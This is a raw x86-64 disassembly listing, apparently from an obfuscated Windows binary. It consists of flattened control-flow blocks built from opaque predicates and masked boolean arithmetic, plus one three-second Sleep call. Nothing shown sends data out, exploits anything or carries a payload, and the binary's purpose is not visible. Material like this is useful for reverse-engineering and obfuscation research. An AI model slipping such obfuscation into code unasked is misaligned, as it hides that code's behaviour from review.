or edi, ebx
xor edi, 0x6ed29514
mov ebx, ecx
and ebx, 1
or ebx, edi
and edx, 0x36c6a055
and ecx, 0xc9395faa
or ecx, edx
mov edx, ecx
xor edx, 0xc0201002
mov esi, ebx
not esi
mov edi, esi
and edi, 0x2b9bcfa9
and ebx, 0xd4643056
or ebx, edi
xor ecx, 0x22828001
and ecx, 0x2b9bcfa9
and edx, 0xd4643056
or edx, ecx
xor edx, ebx
not edx
or edx, esi
cmp edx, 0xffffffff
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
xor dl, al
and dl, al
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
mov r9d, ecx
and r9b, bl
xor bl, cl
or bl, r9b
or cl, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, r8b
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, r8b
mov r9d, ebx
xor r9b, 1
or al, r8b
xor al, 1
or al, bl
xor bl, al
xor bl, 1
or al, r9b
xor al, 1
or al, bl
and dl, cl
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
xor dl, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x4c92a33e
mov ebx, 0xb2bb3ee9
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x4c92a33e
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0xdfcff83f
and edx, ebx
not ebx
and ebx, 0xdfcff83f
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x34cdf3bb
and edx, 0xcb320c44
or edx, ecx
mov ebx, edx
not ebx
xor edx, 0xeb020b84
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov esi, ecx
and esi, 0x663997c5
and edi, 0x99c6683a
or edi, esi
or ecx, edx
and edx, 0x663997c5
and ebx, 0x99c6683a
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x11fd7587
and ecx, 0xee028a78
or ecx, edx
mov edi, ecx
xor edi, 0x68000010
xor ecx, 0x11041005
or ebx, 0xf9273015
mov edx, ebx
not edx
or ecx, 0x2984468
and ecx, 0x939e546d
and edi, 0x68212010
or edi, ecx
and ebx, 0x939e546d
and edx, 0x4408b82
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x46dc8bd9
and edx, 0xb9237426
or edx, ecx
mov ecx, edx
xor ecx, 0x40040412
xor edx, 0x17700288
and edx, 0x177042a9
and ecx, 0xe88fbd56
or ecx, edx
mov edx, ecx
xor edx, 0x88023114
xor ecx, 0x13700208
and ecx, 0x73fd8e4a
and edx, 0x8c0271b5
or edx, ecx
xor edx, 0x8c0271b5
sete r8b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
or bl, al
or cl, r8b
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
and dl, r8b
xor al, r8b
or dl, al
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
xor al, 1
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x74b5ae91
mov ebx, 0xa0dd67b5
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0x74b5ae91
cmovne eax, ebx
jmp 0x1401a10d4
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0x97d1c12f
and edx, ebx
not ebx
and ebx, 0x97d1c12f
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb8402f14
and edx, 0x47bfd0eb
or edx, ecx
mov ebx, edx
xor ebx, 0x50440080
xor edx, 0x2f91ee3b
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xa02adb7d
and ebx, 0x5fd52482
or ebx, edx
mov edx, ebx
xor edx, 0xc942402
xor ebx, 0xa02adb7c
mov esi, ecx
and esi, 0x736b99b9
and edi, 0x8c946646
or edi, esi
or ecx, ebx
and ebx, 0x736b99b9
and edx, 0x8c946646
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, ebx
xor al, dl
and bl, al
and al, dl
mov edx, ebx
xor dl, 1
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, ecx
or dl, r8b
xor cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xbaac698
mov ecx, 0x85b65237
cmovne eax, ecx
test bl, 1
mov ecx, eax
mov ebx, 0xbaac698
cmovne ecx, ebx
jmp 0x14019ec39
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x72721cbe
and edx, ecx
not ecx
and ecx, 0xbcea4489
and eax, 0x4315bb76
or eax, ecx
mov ecx, eax
xor ecx, 0x2001802
xor eax, 0x30620488
or eax, 0x8d8de341
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x58b326f5
and ecx, 0x2240180a
or ecx, edi
or eax, ebx
and ebx, 0x58b326f5
and edx, 0xa74cd90a
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xa2af2408
and eax, 0x5d50dbf7
or eax, ecx
mov ecx, eax
xor ecx, 0x2f22c749
mov edx, eax
xor edx, 0x440022
and edx, 0xe46462b
xor eax, 0x57d10197
and eax, ecx
and ecx, 0xf1b9b9d4
or ecx, edx
mov r8d, ecx
xor r8d, 0xf1b9b9d4
mov edx, ecx
xor edx, 0x76b580f5
and edx, r8d
mov ebx, edx
not ebx
mov esi, eax
not esi
mov edi, ebx
and edi, 0x53887bf5
and edx, 0xac77840a
or edx, edi
or ebx, esi
and esi, 0x53887bf5
and eax, 0xac77840a
or eax, esi
xor eax, edx
not ebx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x870c3920
and ebx, 0x78f3c6df
or ebx, eax
and r8d, 1
xor ecx, 0xf1b9b9d5
or ecx, r8d
mov eax, ecx
not eax
and eax, 0xb32d95a1
and ecx, 0x4cd26a5e
or ecx, eax
mov eax, ecx
xor eax, 0x4006850
xor ecx, 0xb32d95a1
mov edx, ebx
not edx
mov edi, edx
and edi, 0x4afe060f
and ebx, 0xb501f9f0
or ebx, edi
or edx, ecx
and ecx, 0x4afe060f
and eax, 0xb501f9f0
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xeb74f16b
and ecx, edx
not edx
and edx, 0xa02657f9
and eax, 0x5fd9a806
or eax, edx
mov edx, eax
xor edx, 0x4350a000
xor eax, 0xa0245169
or eax, 0x148b0e94
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x88a54abb
and edx, 0x6350b140
or edx, edi
or eax, ebx
and ebx, 0x88a54abb
and ecx, 0x775ab544
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x726ec5c1
and eax, 0x8d913a3e
or eax, ecx
mov ecx, eax
xor ecx, 0x66844855
xor eax, 0x991a34aa
mov edx, eax
and edx, 0x1073838a
and ecx, 0xef8c7c75
or ecx, edx
xor ecx, 0xef8c7c75
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x1402656c4], 0xa
setl dl
or cl, dl
xor cl, 1
xor al, dl
mov edx, eax
xor dl, 1
or cl, dl
mov ebx, ecx
not bl
and dl, cl
or cl, al
and bl, al
or bl, dl
mov eax, ecx
xor al, bl
mov eax, 0x465d9cfd
mov edx, 0x47d9e3e5
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x465d9cfd
jmp 0x14019f616
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x830c028
mov edx, edi
and edx, 0x51061011
or edx, ebx
mov ebx, edx
xor ebx, 0x11041001
xor edx, 0xaef9efee
mov ecx, edi
xor ecx, 0x5936d039
and ecx, edi
mov eax, ecx
not eax
mov esi, edx
and esi, 0xc85a89b6
and ebx, 0x11245009
or ebx, esi
or edx, eax
and eax, 0xc85a89b6
and ecx, 0x37a57649
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xa6c92fc7
and edx, 0x5936d038
or edx, eax
mov eax, edx
not eax
and eax, 0x84faaffb
and edx, 0x7b055004
or edx, eax
xor edx, 0x7b055004
and r9d, 0x31b78307
and edi, 0xce487cf8
or edi, r9d
xor edi, 0xce487cf8
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
mov eax, edi
not eax
and eax, 0xdcc5e29f
and edi, 0x233a1d60
or edi, eax
xor edi, 0x233a1d60
sete r9b
setne r10b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov edx, eax
xor dl, bl
and dl, al
xor dl, r10b
mov r8d, edx
xor r8b, 1
and r10b, bl
or bl, r9b
xor bl, 1
and al, r9b
or al, r10b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and al, r8b
or r8b, cl
and cl, dl
or cl, al
mov eax, ecx
xor al, r8b
test cl, cl
mov ecx, 0x35584d3c
mov edx, 0x9cc4100c
cmovne ecx, edx
test r8b, 1
mov ebx, 0x35584d3c
cmovne ecx, ebx
test al, 1
jmp 0x1401a0cb9
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xb986880
mov edx, edi
xor edx, 0xb986880
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x77b36398
and edx, 0x884c9c67
or edx, ebx
mov ebx, edx
xor ebx, 0x82c45486
and ecx, 0x85043f9f
and edi, 0x7afbc060
or edi, ecx
mov ecx, edi
xor ecx, 0x5ac94000
xor edx, 0x7c2b0b19
mov esi, edx
and esi, 0x2132a078
and ebx, 0xdecd5f87
or ebx, esi
xor edi, 0x1002018
and edi, 0x2132a078
and ecx, 0xdecd5f87
or ecx, edi
xor ecx, ebx
xor edx, ecx
test edx, ecx
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov ebx, r10d
mov r11d, r10d
mov edx, r9d
xor r9b, r10b
or r10b, cl
xor r10b, 1
xor bl, cl
not bl
and bl, cl
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
and r11b, cl
and dl, r8b
or dl, r11b
or cl, r8b
xor cl, 1
or cl, r9b
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov r8d, ebx
xor r8b, 1
mov r10d, edx
xor r10b, 1
mov eax, ebx
and al, r8b
mov r9d, eax
and r9b, bl
xor al, bl
or al, r9b
mov ecx, eax
xor cl, 1
and cl, dl
and al, r10b
or al, cl
xor r10b, r8b
or dl, bl
xor dl, 1
or dl, r10b
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x14c7001e
mov ebx, 0x72031258
cmovne ecx, ebx
test dl, 1
mov edx, 0x14c7001e
cmovne edx, ecx
test al, 1
cmove edx, ecx
jmp 0x1401a2246
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0xe38b7514
and ecx, ebx
not ebx
and ebx, 0xa08a4014
and edx, 0x43013500
or edx, ebx
xor edx, 0x43013500
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x4a51f213
and ecx, 0xb5ae0dec
or ecx, edx
mov r9d, ecx
xor r9d, 0x562578f8
mov ebx, ecx
xor ebx, 0xa9da8707
xor ecx, 0xed2f4495
mov esi, ecx
and esi, ebx
and ecx, r9d
mov edx, esi
not edx
mov eax, ecx
not eax
mov edi, edx
and edi, 0xed2a6871
and esi, 0x12d5978e
or esi, edi
or edx, eax
and eax, 0xed2a6871
and ecx, 0x12d5978e
or ecx, eax
xor ecx, esi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x44f5c393
and edx, 0xbb0a3c6c
or edx, eax
and r9d, 0x33272297
mov eax, ebx
and eax, 0xccd8dd68
or eax, r9d
xor eax, 0x33272296
and ebx, 1
or ebx, eax
mov eax, ebx
not eax
and eax, 0xfb89cc91
and ebx, 0x476336e
or ebx, eax
xor ebx, 0x476336e
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov eax, ebx
not eax
and ebx, eax
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x54de9
and ebx, 0xfffab216
or ebx, ecx
xor ebx, 0x54de9
xor eax, ebx
test eax, ebx
sete al
setne cl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov ebx, r8d
xor bl, cl
xor bl, 1
or bl, r9b
mov edx, ebx
not dl
and cl, r8b
and al, r9b
or al, cl
mov ecx, eax
xor cl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xbb741a8b
mov edx, 0xa27f1864
cmovne eax, edx
test cl, cl
mov ecx, eax
mov edx, 0xbb741a8b
cmovne ecx, edx
test bl, bl
jmp 0x14019f4d9
mov eax, 0xee22d8dd
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x6dcf6271
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x20336707
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x4e743b23
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xd24f6811
and ecx, edx
not edx
and edx, 0xd24f6811
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x2db097ee
and ecx, 0xd24f6811
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0x1c36533
and ecx, 0xfe3c9acc
or ecx, edx
xor ecx, 0xfe3c9acd
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5400040
mov ebx, ecx
and ebx, 0x6a0a9ab5
or ebx, edx
xor ebx, 0x6a0a9ab5
and ecx, 0x90b5650a
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x6438470a
and ecx, 0x9bc7b8f5
or ecx, edx
mov edx, ecx
xor edx, 0x44010000
xor ecx, 0xb72ddff
mov ebx, ecx
and ebx, 0xb88c3276
and edx, 0x4773cd89
or edx, ebx
xor edx, 0x4773cd89
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and r8b, al
or al, dl
xor al, 1
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
xor cl, al
xor al, 1
mov edx, eax
xor dl, bl
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x291a5dbe
mov ebx, 0xb88817c
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, 1
mov ecx, 0x291a5dbe
jmp 0x1401a14db
sub rsp, 0x20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, 0xd8cc44f2
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xc3de1918
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0xd18a1541
mov ebx, edi
and ebx, 0x6352004
or ebx, edx
xor ebx, 0x6352004
mov edx, edi
xor edx, 0xd7bf3545
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x2713757b
and edx, 0xd8ec8a84
or edx, ebx
mov ebx, edx
xor ebx, 0xc401540
xor edx, 0xf0ac403f
mov esi, edx
and esi, 0x931beabd
and ebx, 0x6ce41542
or ebx, esi
and edi, 0x931beabd
and ecx, 0x6ce41542
or ecx, edi
xor ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg bl
mov eax, ebx
xor al, r9b
and al, bl
mov ecx, eax
xor cl, 1
or al, cl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, r10d
xor cl, al
mov edx, ecx
and dl, r10b
and cl, al
mov eax, edx
xor al, 1
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ebx
xor al, r8b
and al, bl
and r10b, r9b
and bl, r8b
or bl, r10b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ecx
xor al, 1
xor cl, bl
xor bl, 1
or bl, al
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xbfd0b676
mov edi, 0x7b773082
cmovne ecx, edi
test bl, 1
mov edx, 0xbfd0b676
cmovne ecx, edx
test al, 1
cmove ecx, edi
jmp 0x1401a26c0
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x5459ab14
and ecx, edx
not edx
and edx, 0x5459ab14
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xaba654eb
and ecx, 0x5459ab14
or ecx, edx
mov ebx, ecx
not ebx
and ebx, 0x77551e62
mov edx, ecx
and edx, 0x88aae19d
or edx, ebx
mov edi, edx
xor edi, 0x88aae19d
mov ebx, edx
xor ebx, 0x5929ac46
and ebx, edi
and ecx, 0xd1834ddb
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0x7539f5cb
and ecx, 0x8ac60a34
or ecx, ebx
mov ebx, ecx
xor ebx, 0x2010a000
and edi, 1
xor edx, 0x88aae19c
or edx, edi
mov edi, edx
not edi
and edi, 0xa9121914
and edx, 0x56ede6eb
or edx, edi
mov edi, edx
xor edi, 0x5e602
xor edx, 0xa9121914
xor ecx, 0x5b4547ee
mov esi, ecx
and esi, 0xdeea18fd
and ebx, 0x2115e702
or ebx, esi
or ecx, edx
and edx, 0xdeea18fd
and edi, 0x2115e702
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov edx, ecx
not edx
mov edi, edx
or edi, 0x3c8cb6d3
mov ebx, edi
not ebx
or ecx, 0x83514124
and ecx, 0x8f5d5526
and edx, 0x3080a2d1
or edx, ecx
and edi, 0x8f5d5526
and ebx, 0x40220808
or ebx, edi
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x55eebaed
and ebx, 0xaa114512
or ebx, ecx
xor ebx, 0x969df3c1
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor bl, 1
or bl, al
xor cl, r8b
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x26bd2089
mov ebx, 0xbd68ee3d
cmovne eax, ebx
test dl, 1
mov edx, 0x26bd2089
cmove eax, edx
test cl, 1
jmp 0x14019e24f
mov eax, 0xb080fd37
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r9d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ebx, edx
not ebx
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0xe9d89572
and edi, 0x16276a8c
or edi, esi
or ecx, ebx
and ebx, 0xe9d89572
and edx, 0x16276a8d
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xf474064c
and ecx, 0xb8bf9b3
or ecx, edx
mov edi, ecx
xor edi, 0x20101
xor ecx, 0xc4400200
or ebx, 0xd473431d
mov edx, ebx
not edx
or ecx, 0x21082402
and ecx, 0xe5496612
and edi, 0x1032010d
or edi, ecx
and ebx, 0xe5496612
and edx, 0xa8498e0
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x2b8cbce2
and edx, 0xd473431d
or edx, ecx
sete al
setne r8b
cmp r9d, 0xa
setl bl
cmp r9d, 9
setg dl
mov r9d, edx
or al, dl
and dl, r8b
xor r9b, r8b
or r9b, dl
or bl, r8b
xor bl, 1
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
and al, r9b
mov ebx, r9d
and bl, dl
xor dl, r9b
xor r9b, 1
xor cl, 1
and cl, r9b
or cl, al
or dl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xb2702343
mov ebx, 0x7f2e1fac
cmovne eax, ebx
test dl, 1
mov edx, 0xb2702343
cmovne edx, eax
test cl, cl
jmp 0x1401a0e8b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xd4c4e5
mov ebx, ecx
and ebx, 0x8c001810
or ebx, edx
xor ebx, 0x8c001810
and ecx, 0x732b230a
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x732b230a
and ecx, 0x8cd4dcf5
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ecx
xor edx, 0x995ab0a
mov edi, edx
and edi, ebx
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xf66a54f4
and edx, 0x995ab0b
or edx, edi
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov edi, ecx
not edi
mov ebx, edx
not ebx
mov esi, ebx
and esi, 0x15995ea
and edx, 0xfea66a15
or edx, esi
or ebx, ecx
and ecx, 0x15995ea
and edi, 0xfea66a15
or edi, ecx
xor edi, edx
not ebx
or ebx, edi
mov ecx, ebx
not ecx
and ecx, 0xac210084
mov edx, ebx
and edx, 0x41de4030
or edx, ecx
xor edx, 0x41de4030
and ebx, 0x1200bf4b
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x1200bf4b
and ebx, 0xedff40b4
or ebx, ecx
setne r9b
sete r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, r8d
or dl, al
mov r11d, ebx
or r11b, r9b
mov r10d, edx
xor r10b, r11b
or r11b, dl
xor r11b, 1
or r11b, r10b
and r9b, bl
or bl, r8b
xor bl, 1
and al, r8b
or al, r9b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
mov r8d, r11d
xor r8b, 1
mov ebx, r8d
and bl, r11b
mov ecx, eax
and cl, dl
mov r9d, r8d
and r9b, bl
xor bl, r8b
or bl, r9b
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
xor cl, bl
mov eax, r11d
xor al, dl
or dl, r11b
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x27d71d73
mov ebx, 0x86bc1cb6
cmovne edx, ebx
test cl, 1
cmove edx, ebx
test al, 1
mov eax, 0x27d71d73
jmp 0x1401a0e8b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rdx - 1]
imul esi, edx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0xddf084cf
mov edx, esi
xor edx, 0xddf084cf
and edx, esi
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x38c1c947
and edx, 0xc73e36b8
or edx, ebx
mov edi, edx
xor edi, 0x12043076
xor edx, 0xe4114d09
and edx, 0xecdbcf09
and edi, 0x132430f6
or edi, edx
mov edx, edi
xor edx, 0x13200076
and ecx, 0xd09b706b
and esi, 0x2f648f94
or esi, ecx
mov ecx, esi
xor ecx, 0x27200014
xor edi, 0xecdbcf09
xor esi, 0xd09b706b
mov ebx, edi
and ebx, 0x854bf88
and edx, 0xf7ab4077
or edx, ebx
or edi, esi
and esi, 0x854bf88
and ecx, 0xf7ab4077
or ecx, esi
xor ecx, edx
not edi
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0x1ecd6374
and edi, 0xe1329c8b
or edi, ecx
xor edi, 0xe1329c8b
sete r8b
setne r10b
cmp eax, 9
setg bl
cmp eax, 0xa
setl cl
mov edx, ecx
xor dl, r10b
mov r9d, edx
xor r9b, 1
mov eax, ecx
xor cl, r8b
and r8b, bl
and al, r10b
or al, r8b
or bl, r10b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
not cl
and cl, dl
or dl, al
and al, r9b
or al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x4ff0fcdf
mov ebx, 0x74053961
cmovne eax, ebx
test dl, 1
mov edx, 0x4ff0fcdf
cmovne eax, edx
test cl, 1
jmp 0x1401a008b
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xea4ab69e
mov ebx, eax
and ebx, 0x15b54960
or ebx, edx
xor ebx, 0x15b54960
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
and ecx, 0x60587f6e
and eax, 0x9fa78091
or eax, ecx
mov ecx, eax
xor ecx, 0x9fa78091
xor eax, 0x60587f6e
and eax, edx
not edx
and ecx, edx
or eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1402656c4], 0xa
setl bl
mov edx, ebx
or dl, al
xor dl, 1
mov ecx, ebx
xor cl, al
or dl, cl
xor dl, 1
and al, cl
and cl, bl
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0x36ce0b8d
mov eax, 0x85497851
cmovne edx, eax
test cl, 1
mov eax, 0x36ce0b8d
cmovne eax, edx
test bl, 1
jmp 0x1401a2f6c
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x13fb524e
and edx, ebx
not ebx
mov edi, ebx
and edi, 0x30b100c
and ecx, 0x10f04242
or ecx, edi
xor ecx, 0x10f04242
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x213d504e
and edx, 0xdec2afb1
or edx, ecx
xor edx, 0x32c60201
mov ecx, edx
and ecx, ebx
xor edx, ebx
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov r9d, ebx
xor r9b, al
and bl, r9b
and al, r9b
mov edx, ebx
xor dl, 1
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
xor al, 1
mov edx, ecx
xor dl, al
and al, cl
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x74b210df
mov ebx, 0x9e40705a
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x74b210df
jmp 0x1401a14db
